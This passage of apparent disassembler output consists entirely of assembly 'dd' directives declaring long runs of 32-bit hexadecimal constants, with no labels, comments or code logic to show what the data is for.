		dd 87BE53Fh, 5E162593h,	7D4058E1h, 7F9B55C9h, 166424C3h
		dd 8BF28171h, 6F1C32B2h, 6D25E700h, 181B8F24h, 0D1C32CE9h
		dd 43044CF2h, 0E2C11E08h, 5437DE82h, 0D7F70229h, 7FF987h
		dd 14BA5276h, 47DB2465h, 11153DF9h, 0FE39DFB1h,	4AF8F228h
		dd 29B7DC78h, 4F5BDE7Dh, 9085AEC5h, 0D4D123FAh,	25E9694Fh
		dd 7EC0A710h, 530BA266h, 6A080078h, 5BBB4379h, 9E5C27DEh
		dd 6F800091h, 0D3293F4Ah, 152F2C68h, 0D7D2C2F9h, 786C5F0Bh
		dd 188D519Fh, 0EE816570h, 580B530Bh, 0AB905F7Dh, 0E004D254h
		dd 0C06AE972h, 805B5ED0h, 7C20E0EEh, 13FD4BF5h,	7B1A0F2Ah
		dd 5F541330h, 852E68EBh, 3828C9B4h, 0C89EA37Dh,	2F3AED8Ch
		dd 5B640BE5h, 575E6BD9h, 6CBF4D06h, 7516090Ch, 6D58A9F9h
		dd 75B2FB0h, 24F654F0h,	8C466D1h, 0BE010F7Ah, 372B2EEEh
		dd 40E09320h, 8600B9AEh, 8129170Ah, 0F150E5E1h,	0DD273038h
		dd 0C33C4C5h, 791DEA68h, 327E4C8Dh, 1C98294Eh, 83599634h
		dd 8BF1808Dh, 7BB415D1h, 51FD4234h, 68895938h, 0BCF10927h
		dd 0E66DCB89h, 0E8F925F9h, 2BF2B8DDh, 7D809279h, 17EF775Dh
		dd 0C9F4DDE6h, 0FA1420AEh, 37D033D6h, 0A4171368h, 0EA44492Fh
		dd 0B41DEC5Ah, 0CE6B10AEh, 93872F24h, 0E664EE31h, 4EC6AEC0h
		dd 0E94512A2h, 0D9CC041h, 0B01C1CFEh, 877B401Ah, 2D270FF4h
		dd 53601F9h, 0D8C89323h
		dd 0BB02CE9h, 0F77040E3h, 60953955h, 0B708E8FBh, 73688230h
		dd 0AEF9354Bh, 0E9045288h, 0ADB3CB39h, 0A1C24A79h, 0B4892C43h
		dd 76119087h, 4AC42570h, 21EB2E0Bh, 8B8C1F98h, 0DCD61640h
		dd 33624F47h, 846EF7DFh, 4112057Bh, 0D4174EB1h,	8BAE5913h
		dd 0BEBF13BCh, 53C523EBh, 3903BBF8h, 0B83CBDE8h, 0DD311621h
		dd 0FC5779D1h, 0CAA6AE05h, 0CE0ABE5Bh, 50A8FFEh, 0BEC3E386h
		dd 0E5112DB9h, 27CC94F7h, 4DECB46Fh, 9780F49h, 875BDF31h
		dd 892BFB47h, 887F5E30h, 5226782Eh, 0B177D70Bh,	8B7C1221h
		dd 3B855C25h, 0EABD8457h, 8ACB9090h, 0EE03D5Fh,	0EC084597h
		dd 505B8595h, 780967A8h, 0FB0B7DEDh, 4FC04613h,	2D48E165h
		dd 5B611FC2h, 949352DCh, 0EE0CA7C5h, 2D2165C2h,	28F15FFDh
		dd 0F06A9602h, 3089FD14h, 44FC81D5h, 0E9F93158h, 87520AE5h
		dd 573257D7h, 3D2FC7DDh, 0A17EF22Dh, 852B8E0h, 518044Dh
		dd 0C1D403B6h, 6A58C622h, 9ECBEAE8h, 4768F7C0h,	8098785Dh
		dd 9B06D544h, 0CA012D59h, 99FD26Ch, 0F2E5D729h,	5F90F527h
		dd 4E8BD07Bh, 0C93CAB37h, 5057BA87h, 0F2D6FBFh,	0FED68E3h
		dd 0E474AEE5h, 6D0383ABh, 692D3DB3h, 6C1E571h, 74405E8h
		dd 481F7382h, 78215AC6h, 0E1DA25C8h, 0EBED95EBh, 4CB8EC8h
		dd 0E94B1C62h, 889CB078h, 9E2FCAB8h, 0F6822BA3h, 3C7B59A7h
		dd 40F04F15h, 0A13B1297h, 0A09CEB67h, 0B70859E9h, 6C34A05Bh
		dd 1F280710h, 0D7F89605h, 50C1FBE0h, 0E3B0FB7Dh, 1F14056Eh
		dd 284B3258h, 79A307F7h, 0AC0BACDh, 4B4C3E8Fh, 413AF95Dh
		dd 9AD82A08h, 7DFA2E68h, 15DAC0D6h, 48090B46h, 0FC0895E9h
		dd 0BA20C7EFh, 0A5E69F94h, 49084FD0h, 80148E8h,	0FE252D10h
		dd 78051C39h, 1E69603Ah, 0B273590Eh, 7CAFDD4Eh,	95CC506Ch
		dd 0ECEAF1C0h, 3E1C6D7Fh, 0DD98C201h, 0ED801AD4h, 52C58AA0h
		dd 1C64B63Ch, 0F50997C6h, 13588E5Ah, 0BEAD55C9h, 0A056185Ch
		dd 964A1E96h, 0D8034DC4h, 7B058CF1h, 0DFE946A1h, 908891C9h
		dd 0F0276125h, 0F8282433h, 819A0BF4h, 225063F4h, 0EB51C0BCh
		dd 3ADB6B0Ah, 4275E7Ch,	9BD72C4h, 169862A4h, 53128155h
		dd 353ACA68h, 83C38017h, 0BAFC9112h, 0DB4EDF01h, 0E9DA01CBh
		dd 0C355BF5h, 0A150C73Ch, 8F5A5C8Eh, 369D680Bh,	8342CC1Ah
		dd 5ACDA7D5h, 6C1384F2h, 7B9020C1h, 50CB3027h, 251A70F1h
		dd 407C5BD8h, 9EE4F75Ah, 8329E916h, 0BD57789Ch,	0E4C9E956h
		dd 0BB972781h, 261A97D7h, 26B5104Eh, 7508A653h,	50BB83CEh
		dd 84BCD85Dh, 0A54BB87Ah, 0E9DDA4BAh, 69820C4Fh, 53C5559h
		dd 853BE925h, 96805F4Ch, 60BB1C18h, 22A0984Eh, 0E9EC312Dh
		dd 374F160Bh, 0C46AD840h, 97BD2098h, 0BA3DF553h, 0C0C035A2h
		dd 0FF2C08E0h, 86060AC0h, 0DFD7F6F8h, 7E88908h,	0AED9F584h
		dd 1FA86AE4h, 969BB22h,	8951208Eh, 0AB05F38Fh, 17614h
		dd 404F6CE5h, 154F6874h, 0BEC0F5E8h, 419E7284h,	5EF50913h
		dd 67759900h, 0B7010726h, 4392A645h, 0AB22AFFCh, 68129BACh
		dd 95A60235h, 225EA97h,	0E558A2B6h, 25D56610h, 68E5185Ch
		dd 49554C6Ah, 61E98BDDh, 537CA929h, 8765F75Ah, 0CFECE904h
		dd 0ECFADDAEh, 0C1DFD8F4h, 363D09FCh, 0B09F8019h, 0C0301332h
		dd 9A48120Ch, 0F84E0142h, 6AD4F180h, 7A5EB8CEh,	0E21816E7h
		dd 0D500EB67h, 303DCAADh, 442CD329h, 803E2232h,	79E2DA4h
		dd 850B373Ah, 4A1011FEh, 838602ADh, 0E7058F39h,	676066AFh
		dd 4356AD01h, 813EA61Fh, 72238B22h, 6B8F5083h, 3AD601Fh
		dd 90E2854Bh, 27738DFDh, 5CF8090Ah, 5BDE890Bh, 4512FD21h
		dd 72B73140h, 9E3FE82h,	3BFFB9DEh, 0E79420E1h, 20AF709Fh
		dd 619F732Eh, 0B322BCF4h, 6D280602h, 0BFD4301h,	2FCF0E5Dh
		dd 0DB07AB15h, 5EAFA865h, 3A2DFCDDh, 0E682C181h, 213EE57Dh
		dd 0CC8F9822h, 2AD40042h, 30054711h, 2BF3EED5h,	64AF0E13h
		dd 5538F0D8h, 20219198h, 0D2B6851Fh, 0BA5184C0h, 2EB17205h
		dd 0F6731C82h, 995C64EFh, 0DCF92E4Ch, 91B95013h, 2CB3B100h
		dd 84FCA494h, 0D64E60D7h, 0C7BE58E9h, 3FB7BE01h, 0C03E0595h
		dd 4A74A548h, 0E6090276h, 27B64EBh, 0D2D8BF83h,	0B754A0A1h
		dd 0EEB8A198h, 18B56800h, 1E60CFB4h, 0A14E7345h, 7E4D6C5h
		dd 95D0907Ch, 18EC7960h, 0C544437h, 414528B2h, 75F1F3F1h
		dd 0F7E23CAFh, 59896855h, 272BE411h, 3A0FA7E9h,	514A8E3Dh
		dd 0D191FB12h, 0D7C8C288h, 4A58765Ah, 0ABEC45FEh, 2EDAEEEEh
		dd 5E80F34Bh, 2F78B2B7h, 0FC733340h, 0B0A3F189h, 4A7E1054h
		dd 946BB0DFh, 0D29E5824h, 55D6C61Eh, 3F649E0h, 0F78063Fh
		dd 1C7DEED1h, 1B027C18h, 50261C0Ch, 2F68C25h, 0C59B013Ch
		dd 0D8E7F229h, 0CCB8560Ch, 38C1B532h, 0FE098030h, 885266C3h
		dd 148A67DAh, 8546603h,	5B76879Fh, 41B45040h, 0E6C627E9h
		dd 52E3A35Eh, 22A1E954h, 0E9212365h, 1744B615h,	0BB0908FDh
		dd 94BAC6F5h, 25A62416h, 3504222Fh, 0A1BBD058h,	1A3BC966h
		dd 65DC165Dh, 0ED4A22B3h, 204D589Eh, 0C55995DAh, 2D7F73ADh
		dd 5058FE56h, 28105F68h, 1C2CE9D0h, 4EC03A7Dh, 4A65684Bh
		dd 8106E845h, 0CAE28CFh, 57623400h, 5E4F0BFh, 0DA992117h
		dd 80D2042Dh, 1399D414h, 0FE3C3407h, 0E915349Ah, 0BA00A4A3h
		dd 44DC4A3Fh, 0FC00CA81h, 426B3762h, 81DB5FE9h,	6E5B415Ch
		dd 63E2074Eh, 10E875B7h, 0BF17A43Bh, 0CA8C201h,	0FF9152F4h
		dd 1A59EC00h, 9BE3F16h,	0C0E9E5ABh, 8E9C6943h, 0E9A54428h
		dd 0EA80424Bh, 3280FD28h, 4706E7EDh, 0FFB4A146h, 1247BF1Fh
		dd 86EB57BBh, 2581E24Eh, 0F3D601C6h, 0F405CE03h, 4B41F914h
		dd 4D7B8A59h, 7A06F6DAh, 73C0B7D8h, 6CE916E2h, 3A449070h
		dd 64502B51h, 2900D0CAh, 0EF8963E6h, 242C75Dh, 5C37E338h
		dd 0D85F501Eh, 5AEC2D58h, 0D12947C6h, 3F2408E3h, 6ECB043Ch
		dd 0CC805E21h, 2F063AC3h, 0B8748580h, 14BCB609h, 0B3769D8Ch
		dd 1A98044Bh, 42B89BD4h, 1C3DFEF4h, 8A25F308h, 249665Eh
		dd 58E15AFh, 0E62BF120h, 0EC61DD09h, 3ACECC9Ah,	33200CCFh
		dd 2573CC14h, 0A47EF9C1h, 4D5482BCh, 9C611FB7h,	77BAC317h
		dd 280F3E40h, 386D4235h, 0F84EEFA8h, 733584Ch, 47100AFBh
		dd 5B8A3D6Fh, 0BD0BF0D2h, 91616698h, 0D46801B4h, 7D497E26h
		dd 0C14AE0D9h, 2002B8E2h, 11A0E180h, 163D8442h,	6D40FFF0h
		dd 0A85A4A58h, 31955AB8h, 0D71AF81Ah, 15714CE2h, 88967F69h
		dd 0C5DC5165h, 14DF18A4h, 0CF371A08h, 2486E1Eh,	8568413Eh
		dd 0FC24C5Dh, 0C1B268Ah, 126247Fh, 375D6A71h, 2E17204Bh
		dd 1613457Ah, 39B019E9h, 5B9A0B2Dh, 8455793Bh, 0F6947B08h
		dd 66B24A8h, 2C5F005Fh,	90693230h, 6677A61h, 82E972D0h
		dd 26A0A2E7h, 949AC598h, 0DC347625h, 57A5CCCEh,	2E13E4FDh
		dd 9CA6B4Bh, 0A0EFD113h, 0D477D756h, 0FCFDC2B7h, 0B231143Ch
		dd 0B5CF110h, 0FF2BEB80h, 0D3771A9Ah, 0E650920h, 48E271D6h
		dd 0BEE6D67Ah, 8FB1A078h, 569BCF0Dh, 8DDBC926h,	0BD16C34Bh
		dd 0BB82D0AAh, 7B30659Ah, 1DD1C641h, 2D7E588Eh,	52DF0E37h
		dd 878BB4EEh, 0D1D4B1DFh, 0D0F6B789h, 0C9D6575h, 0FBADB57Ch
		dd 0FEA78BA5h, 595B8992h, 6852CD31h, 66307480h,	83E91C7Dh
		dd 7CD51637h, 1387589h,	1C29AD20h, 30B0901Fh, 807FB302h
		dd 0D6E0D4E3h, 60B5C0FAh, 9D639B87h, 50A59999h,	65CD2D8Bh
		dd 80153B3Ah, 1A0E0817h
		dd 4A52EC05h, 0B8CF8F2h, 810D47E1h, 4CA4E318h, 0C14B56FCh
		dd 339BE6EEh, 0CE137F63h, 0A40B213h, 436F72BFh,	92949070h
		dd 90666758h, 60CF0786h, 0FBB65259h, 0ADF70824h, 8003EF04h
		dd 18B2C2EEh, 0C3F5B16Ah, 76CFC2EBh, 0EEFB2D24h, 55F3E9C2h
		dd 0E77FA789h, 0EB5E97EAh, 347AF029h, 0E22DE4B8h, 4FBF23E5h
		dd 160DA136h, 30454268h, 585D50DFh, 95D0F713h, 0F4D22509h
		dd 40EB9F48h, 5661F50Dh, 5B134ABEh, 0FB510D7h, 337783FCh
		dd 0B60C38B9h, 3E0752E9h, 80603B5h, 8014840Ch, 4DDCE923h
		dd 6504F82h, 0C44B0F86h, 8BBF8771h, 0B4FDD067h,	209A9A3Eh
		dd 84B4F482h, 0F3B81F0Bh, 0EA07B460h, 0B86EF53Dh, 5FFEC5FEh
		dd 0EAD645A3h, 0B347A721h, 3474E37Fh, 0D7BE113Fh, 42DB90CFh
		dd 514A0F7Eh, 136C8400h, 0FC5A3C4Ah, 0A21B4F33h, 0F1A3C9B5h
		dd 0FF5134CAh, 5C53A94Bh, 0B352C926h, 0A00F3620h, 2C4EF5B2h
		dd 0F076677h, 0C23C06EDh, 0D4EE9AE2h, 2F10ED60h, 0DA19032Fh
		dd 5D088188h, 0CB40BF3Ch, 0DA57124Fh, 2F9BF96Bh, 0F65D2150h
		dd 40C87570h, 3EE27C1h,	61ABA07Fh, 2314E48h, 5D5EF729h
		dd 0F1D4B9E9h, 2F4047B1h, 68E71182h, 2BD11516h,	9409FFADh
		dd 405E96D0h, 0D29E38A2h, 597AC2DDh, 60575BF7h,	17236853h
		dd 0B2440B2Dh, 4531606Ch, 16803055h, 914ED85Ch,	24180A60h
		dd 90647112h, 75760305h, 0FB29219Ah, 325F432Dh,	3F16551Ah
		dd 7CE8832Eh, 97C2Dh, 2D66C117h, 0DD1ED67Ch, 962F0122h
		dd 0E067B3D2h, 8856E95Ch, 45C22BC0h, 0F649B754h, 8EA15BD0h
		dd 27805F33h, 39214983h, 0F1A55961h, 544297FEh,	5B3A5AFDh
		dd 0BA59009Eh, 7CB45DC8h, 2A77195h, 0F4F3313h, 6F214CC1h
		dd 40BCF098h, 8EFE58C6h, 0D6B72670h, 2970CB6Fh,	7E15BD09h
		dd 4C198030h, 0BF373E2Fh, 692662F9h, 197CBA0Bh,	4FE05284h
		dd 92C252Ah, 0D522A878h, 9469CB1h, 1AF7D4A8h, 0F938135Fh
		dd 8C7BF6B0h, 0A9B2A454h, 0EF42D99Fh, 0E77DB109h, 0ACAC3F7Fh
		dd 0D2688097h, 585BB27Bh, 6C52931h, 8CD681F5h, 0F95B80Ch
		dd 0F76F7D50h, 9281B276h, 37F2AED0h, 0E91C0E16h, 0EF123C6Eh
		dd 562D829Ah, 0AE47B053h, 93EED5E9h, 55C5B530h,	978F68E3h
		dd 0AE60FFF6h, 956A932Bh, 0D2DCC63h, 58E67E01h,	4E4FEF68h
		dd 7F9CD8Dh, 0AC316592h, 20854583h, 60096D7h, 0E181543Bh
		dd 6E995214h, 1F020C5Ch, 0D25D282Bh, 1F1F683h, 883770BCh
		dd 2FA5E0E9h, 357ADFA6h, 0F9154610h, 2A5633FCh,	8D7F18E5h
		dd 5AB3F8B0h, 167B7C97h, 2DBCAC20h, 0CF27DE25h,	8462696Ah
		dd 0FE74D3E9h, 2CA77F29h, 221C46F6h, 95BCFDADh,	89E365BDh
		dd 8348DDADh, 7DFE606Bh, 3F0CBh, 0B0AA0C02h, 4B56B7BEh
		dd 997AB1Ah, 506FF1BBh,	2F90DF01h, 0F9324200h, 0E9D7296Eh
		dd 9B7D602Fh, 36CD45C6h, 5CEB4Ch, 3BF937EEh, 0A64B78E9h
		dd 0B4500FFEh, 7A8651B0h, 0AD1318A6h, 940AD831h, 0CBBEAD44h
		dd 39E04012h, 7A989F57h, 7D33E950h, 558E6EAh, 8E5E996Ah
		dd 61E0BF0Ch, 6A161E92h, 10441965h, 62EFF09Ch, 907C0120h
		dd 998997DFh, 5A57147Fh, 0C1191EDCh, 0CC15EBF7h, 0BA66C27h
		dd 70A6A3B3h, 49CD02F5h, 0F929472Eh, 1308AC88h,	84D3B85Fh
		dd 0AC12C602h, 3B513AE5h, 59CE1FE1h, 54C489EFh,	13668B5Ah
		dd 5FDAFBD6h, 0B4FD30E2h, 59AFB231h, 2850D137h,	125D2F68h
		dd 664E5446h, 46EAE0C0h, 3168EA86h, 55F5675Ah, 0EAF32A06h
		dd 42FD1C4h, 2C0555Bh, 0B8597909h, 4FF63B9Fh, 0C0E3118h
		dd 22501DEh, 4002FD50h,	0F6545DEFh, 9AB20028h, 6E585424h
		dd 0B024FC17h, 1869DF01h, 3C2079A3h, 55261814h,	0C120C3Dh
		dd 0D49798F0h, 0F0FEAD21h, 6A388142h, 10B8134Fh, 4FC3A058h
		dd 802B26FFh, 18B22120h, 0D939A068h, 8082C82Ah,	0BB1DD968h
		dd 0D3892601h, 0F8DB198Fh, 4B273E51h, 1E5D882h,	0C277B368h
		dd 3C9D967Dh, 0E49451EBh, 68009654h, 62A14D82h,	0E648C15Eh
		dd 93F6051Dh, 0BB80A97Eh, 3074A4EEh, 890C1FDEh,	28548FB9h
		dd 0EB5C29A0h, 0E9CB0683h, 7F713F92h, 0EB7498F0h, 601F1EAEh
		dd 7A680805h, 0B9A1304Bh, 0DC8B0702h, 0FD718870h, 0EA875D04h
		dd 7F122DAAh, 0B0FFE3F5h, 12B10E3Bh, 10F1011Fh,	0E05A0879h
		dd 28177301h, 28BEAA24h, 0DBD6077h, 8E2E9E9Fh, 0CB754840h
		dd 0D6BA0454h, 0F34E65F2h, 0E72D7EB0h, 0B167792Fh, 2ADA6CA4h
		dd 8A82BE27h, 9EB40CD1h, 0A8D33528h, 0F0F5EBCh,	2AFA66DCh
		dd 77ABA0FBh, 26092F06h, 804B0C84h, 0AA3F6541h,	20311225h
		dd 983E033Bh, 93FAC0EEh, 15B6415h, 85AD968h, 8044A53Ah
		dd 5A1ABAF6h, 14635D65h, 4CEBEC10h, 7497056Eh, 50AA4C3Fh
		dd 0B95A08CAh, 0FD66A269h, 0BBEFE248h, 39515780h, 16957568h
		dd 0D18BB86Ch, 6BDF0F20h, 0A0C16DC7h, 63E718F8h, 0F5D5A640h
		dd 51E24C0Ch, 5913015Eh, 0F630F7B5h, 75A5CA5Eh,	68848695h
		dd 29D851B1h, 73279897h, 0DEF20769h, 9392B753h,	0E7E184C7h
		dd 63F7FC4Ch, 7948C2FEh, 0C8C12763h, 809A9040h,	2E128605h
		dd 10FF092Ah, 0A45F07EAh, 0CCB507ABh, 6F5E20CCh, 8640FAB0h
		dd 28621F2Ch, 2D6BFAD0h, 0DC2D9BF4h, 0F05ED231h, 5DE632C2h
		dd 0CC79C472h, 1D5D7231h, 0B101AC9Eh, 0D3A3F0DDh, 4C7FFC9h
		dd 6AD45E3Ch, 206F3AAh,	853814C5h, 982DF05h, 9CFD8DF3h
		dd 6FB501D5h, 18E9C530h, 0AA912BB9h, 8304CEBCh,	9D400CFAh
		dd 240A85C7h, 0C85F081Fh, 0FE27B04Ah, 16615AC8h, 29388CDAh
		dd 1D4A3CD1h, 0BF301C05h, 8A590905h, 42911F34h,	74FC36C9h
		dd 84550477h, 3E7CF9FDh, 471232D3h, 3E230149h, 3B19B16Eh
		dd 45AA5C8h, 904CFB2h, 5EC90BE9h, 10D76B68h, 5DE06866h
		dd 88847C74h, 17AF175Eh, 8978F8A7h, 10A90359h, 0E12F3BF3h
		dd 0A7774A96h, 0D2D0042h, 534C116h, 9B7B1212h, 5021B447h
		dd 58837CB7h, 3C14FAB9h, 3F827652h, 9F79685h, 6AC2EA1h
		dd 2D98858Eh, 4352EE36h, 0FCE43604h, 0D3A2B7B8h, 32ADFB50h
		dd 0AB11E904h, 55C18CF8h, 0C24A1068h, 0B333C7FFh, 0D4EAE9C3h
		dd 0B65F0890h, 512BA93h, 4A4B70Bh, 0AF46BA48h, 0CB709B1Dh
		dd 2C34CBDh, 0A2A7E37h,	6C62F329h, 0D18C0809h, 0E09C312h
		dd 597D9C33h, 0F6910CC3h, 11448C5Bh, 75049D8Fh,	0D7598129h
		dd 26E41447h, 30661416h, 825EDA69h, 0FBFC52B7h,	0C9CB54CBh
		dd 69B96900h, 714C5A2Bh, 0D01D4BD7h, 0BA05CEFh,	1956E2CAh
		dd 0E1396D81h, 77CCBA50h, 0FF045A14h, 7D683C41h, 0B06A26DBh
		dd 69BA241Eh, 0AB0F8B5h, 0F8A14FCh, 0AD5A12ABh,	1568B0E7h
		dd 8E47BD02h, 0C8BB5012h, 0F1046837h, 59065A09h, 0C3900AFEh
		dd 45DEA5BAh, 0E7324619h, 800FE93Ah, 177980B9h,	0A2681945h
		dd 38AB5D2Ah, 0CC423079h, 7C12546Ah, 0C3B82E39h, 704E8958h
		dd 4A356430h, 507D4325h, 0B1A4AB70h, 343F4615h,	0BDF8C1BBh
		dd 0CE6A3C8Ch, 66B81651h, 5AA5E2E7h, 7F2832D5h,	0E9D31A9h
		dd 0DBA3CF13h, 0B4F74064h, 0B6F27E43h, 8783785Fh, 2617A918h
		dd 4981097Eh, 1C043780h, 0C59D0F75h, 0BCBA001Bh, 4A07E75Dh
		dd 1AD5E916h, 5BE2E520h, 5871176Dh, 82681CD1h, 472123CEh
		dd 0D74CC48h, 5F0C6D60h, 1633A86Ah, 0E5F765E9h,	479DC412h
		dd 0D929B816h, 0E9F014ACh, 0E593E468h, 0F5910B25h, 0A9FCB712h
		dd 8874AB02h, 88D8E275h, 292108AAh, 0DCF6D942h,	894BB71h
		dd 518B30DFh, 6807B365h
		dd 0FF097D3Bh, 93168C65h, 162C98C1h, 0A5F7F8C1h, 0BD656BAh
		dd 0CC789CAFh, 0D6E7B804h, 95E1228Ah, 176AA6AFh, 0DCD840DFh
		dd 0B75482E4h, 5A70DE5Ah, 476EE5AEh, 165F53EBh,	7B711A34h
		dd 2BA462C6h, 9E2FE95Eh, 8082C0ADh, 28C632EBh, 894A5B86h
		dd 4FD9BE55h, 0EF5EC5E1h, 0AF4ACEA7h, 1FD44D75h, 808185AFh
		dd 0D512BFA5h, 0D3D02952h, 3BD60401h, 87D53C03h, 15B7668h
		dd 73241070h, 0F64A3067h, 28635704h, 0C4A6F021h, 0BB366700h
		dd 0F3FBE92Dh, 0CF18DE9Fh, 0FD504E64h, 0F2EBB42Eh, 0A85D13CFh
		dd 3AEF99BFh, 680B6D8Ah, 1C75027Ch, 5BDE251Fh, 68CAA1F7h
		dd 899335A5h, 53B14F49h, 2E679E6Eh, 0E53DB26Ch,	903FF34Dh
		dd 5E008FB3h, 432DC829h, 355CA158h, 61B12EAh, 96EDB390h
		dd 45213E15h, 19526F1Ah, 0B803C77Bh, 0D814D908h, 48101C7h
		dd 0A2FB6CEFh, 365AFBDCh, 1C9A5CBCh, 4F7D45F6h,	2734A845h
		dd 0BD20086Dh, 0CA4B85C9h, 75B35E00h, 0B55B6F0Ah, 0FE012C90h
		dd 6129CA0h, 5F152816h,	0BE4A3CACh, 0D2D25652h,	5BFD23CFh
		dd 1876CC8h, 348BD69Ch,	22464649h, 90362A3Ch, 161A8116h
		dd 0B898475Bh, 2D5C20B7h, 0A5C63F68h, 8B0EBD01h, 0EA297E9Eh
		dd 0C7273439h, 0D9BDABF8h, 0A753E379h, 0CFDEFBF7h, 8B468C1h
		dd 5AA2CD7Ch, 405DBBB9h, 0E78132DEh, 0F41C1514h, 7F2B139Dh
		dd 32CB3DBFh, 4A981720h, 609372CCh, 68CEEF8Bh, 1A7B621Bh
		dd 7947DB2Dh, 3C5A4226h, 0F7634E07h, 570987E8h,	898BA465h
		dd 0F74E89F1h, 36E92010h, 0A1F2B569h, 8D275693h, 41DFCF70h
		dd 0AFF07AFAh, 0ADFB975Fh, 3CE01712h, 0E0C77280h, 0EFEFEAD7h
		dd 0BF5A5993h, 0E90D818Bh, 6AA19671h, 0ADF16F81h, 60B7E642h
		dd 2711AF02h, 0E3767FA7h, 0A102FD03h, 0B9B0AB2Dh, 0C8DB13D9h
		dd 0B08FBC78h, 30F40076h, 0CF8166EBh, 70623E88h, 6C2AEFD0h
		dd 0F76816FAh, 547A3329h, 0DED949E7h, 165C4782h, 55C46025h
		dd 20AB0462h, 0BF1CF8E9h, 80312536h, 2C2BF6BDh,	2AF38B6h
		dd 0D70820E9h, 2FC198E0h, 2648DC78h, 4FA92057h,	0B0361859h
		dd 82F31F1h, 4ABF8C44h,	141913DAh, 0B45C347h, 537713D4h
		dd 0A2FF9FC2h, 5E5FFD9Ah, 38E624D5h, 0C32A68C0h, 0D99D7045h
		dd 3E0540B4h, 1F5FB811h, 0E59ECCA9h, 83053B07h,	0C2C517C8h
		dd 155C148h, 0DAF75828h, 9E177178h, 0E946064h, 78348211h
		dd 0F8C72A21h, 0C001F001h, 2F2F1F3Eh, 0BC55A94Ah, 5E51B781h
		dd 0CAC8DF49h, 0CE132E8h, 0F71E4FD5h, 9DAC4EEDh, 0BCF0E9C4h
		dd 39FE4E23h, 22CB6EBCh, 5ED2572Fh, 8316AD0Ah, 0C61DE56Eh
		dd 61A66905h, 53A8F80h,	0E9B0131Ah, 2AA1F1F5h, 0D44B14F6h
		dd 0B2A88440h, 1C30785Ah, 22B02493h, 99D49588h,	75D03DC4h
		dd 0F095DD87h, 46C840A4h, 0F760E0BFh, 0A00AD2DEh, 1817715Eh
		dd 16AE3F5Bh, 0AF91098Eh, 8545B155h, 0B1D39194h, 6137F54Ah
		dd 43C92BA0h, 4F215DF2h, 50D92AE9h, 2135E3C8h, 9A6EEB3Dh
		dd 77C4CDFEh, 7E2FBA61h, 384DEE09h, 8169651Dh, 4B61785Eh
		dd 41258AE6h, 7CB5DD50h, 0AB96CEEFh, 4E8380DCh,	5DC341DFh
		dd 7F6B13F8h, 247BDC44h, 89685504h, 9CE62A61h, 414C6C30h
		dd 583CD946h, 0EDB35E29h, 26E90C40h, 479C7718h,	73827359h
		dd 4BA7209h, 49AD8245h,	1E9208E7h, 614D81F1h, 0F808EBC1h
		dd 1DC396C8h, 0F8149EEAh, 90C2010Fh, 0FA0888EAh, 2D68385Fh
		dd 7D13DBC9h, 6167AF59h, 489FA8A2h, 3D3DD937h, 56124C41h
		dd 2E34B592h, 80843BEDh, 5E5E09BBh, 44C385E2h, 1504FAD3h
		dd 9A33E22h, 671C3F07h,	0E3028B7Eh, 880138C6h, 0B07F58C1h
		dd 0E10FC08Fh, 23B45008h, 0DFF6CC80h, 61ECA73Eh, 0D92FC483h
		dd 0C1C27DC1h, 823E03DAh, 486E5E61h, 46DBD20h, 0FACE88B9h
		dd 5E81BAB5h, 4B2DCBF4h, 0A808F207h, 0E858B50Ah, 0FABD0F5Bh
		dd 49094F19h, 0E6B6F807h, 56380644h, 0FFC83122h, 0C0FC594Bh
		dd 6EC155B2h, 8B1638D1h, 25776CB1h, 0BCF28DB7h,	0FF84A5Fh
		dd 0C8B5510Fh, 0C5AEED27h, 0CD6C81F5h, 748C7B6Bh, 108460E3h
		dd 2E07BABFh, 0DFF70201h, 4F08EFC1h, 75C42E61h,	0FA117610h
		dd 9CE51DAAh, 24D75A61h, 65E73780h, 0F4A2371h, 1C8992E1h
		dd 617033E9h, 0E5EB27BDh, 2B2C0ED8h, 52E96AE2h,	0FF22B0A9h
		dd 66FDADA0h, 83022CA2h, 0E625B821h, 0E98427C5h, 25AE2926h
		dd 1FCFBA6Bh, 0E6A1E90Bh, 688992FEh, 0C1CDDC1Fh, 0F0132975h
		dd 0BB7EBE56h, 0E976C605h, 0E2FBE25Eh, 516FD9A8h, 17F39E60h
		dd 13CB39h, 1A5A711Eh, 1D2FE974h, 848F1DBh, 2437C622h
		dd 33A07F61h, 0E213873Ah, 90D7F82Eh, 9F7410E7h,	50C4631h
		dd 20394705h, 0BD596DC8h, 0B2359270h, 0B4BF1490h, 6C6002D9h
		dd 53B7F16Dh, 0F82776C2h, 0E4611F28h, 0F3E10077h, 417C5576h
		dd 6E85F0B6h, 84104BE3h, 0CE0710C5h, 0AA62681Eh, 2C3E20B5h
		dd 0CC885809h, 0AF46F759h, 9D4FB526h, 54F6923Ah, 0D25705EAh
		dd 5920CCFBh, 2E68500Bh, 1553461Eh, 0B3C4D8E9h,	4605EE0Eh
		dd 0EA017D45h, 0A6120524h, 971C5DFBh, 888980DBh, 14B55BFEh
		dd 9130F458h, 0B1E98416h, 0C45A0E0Dh, 38FAB523h, 0CD7829D6h
		dd 1DA4ED04h, 1FE31AAh,	0D157D08Dh, 0E94F847Ah,	46FE3344h
		dd 0B6CA6F10h, 4B6E2D07h, 0E5A278E8h, 20ADCC3Eh, 0F0B7F75Ah
		dd 33C90B47h, 0E15F357Dh, 56BC7ABh, 0F2F00164h,	0EAFD9366h
		dd 4266484h, 0E6AFCB31h, 1EB1485h, 5AE1314h, 6D983390h
		dd 51767F73h, 802F1C1h,	5BA48358h, 0D0533BD4h, 3854F29Ch
		dd 9E515E27h, 0C8066E5h, 1257725Eh, 0AB59F1E9h,	65B25E38h
		dd 0FFEADC6Bh, 8C17DAF7h, 0E9D32C7Eh, 6701BB49h, 66EBD498h
		dd 0C0E75BF4h, 116612AEh, 0D7216D14h, 0B33037E6h, 7AB00209h
		dd 5D9075AFh, 0DA3A3D31h, 12035845h, 0C549D678h, 1F327BE2h
		dd 2277CBF2h, 0E2C68A0h, 55A07F8h, 0C5E0F288h, 0FE7B1794h
		dd 60D65028h, 0EB8726A9h, 530AD5F7h, 0C95D5B55h, 0CCE2103h
		dd 698AA5CCh, 8259AB5Eh, 0E83EA5B6h, 9DC2A429h,	7EF9DDDAh
		dd 45F356E9h, 35CCA02Eh, 0CCAE203h, 0E1C78993h,	0C86EE16Dh
		dd 98840EA7h, 90F4700Dh, 0B8C0489Eh, 87F60C79h,	322DE6D0h
		dd 1BB3531Fh, 6788FDECh, 0C6F781EFh, 0DB36E411h, 86B45BD0h
		dd 601AE5Ch, 27957425h,	24F70918h, 447DC509h, 2EC20755h
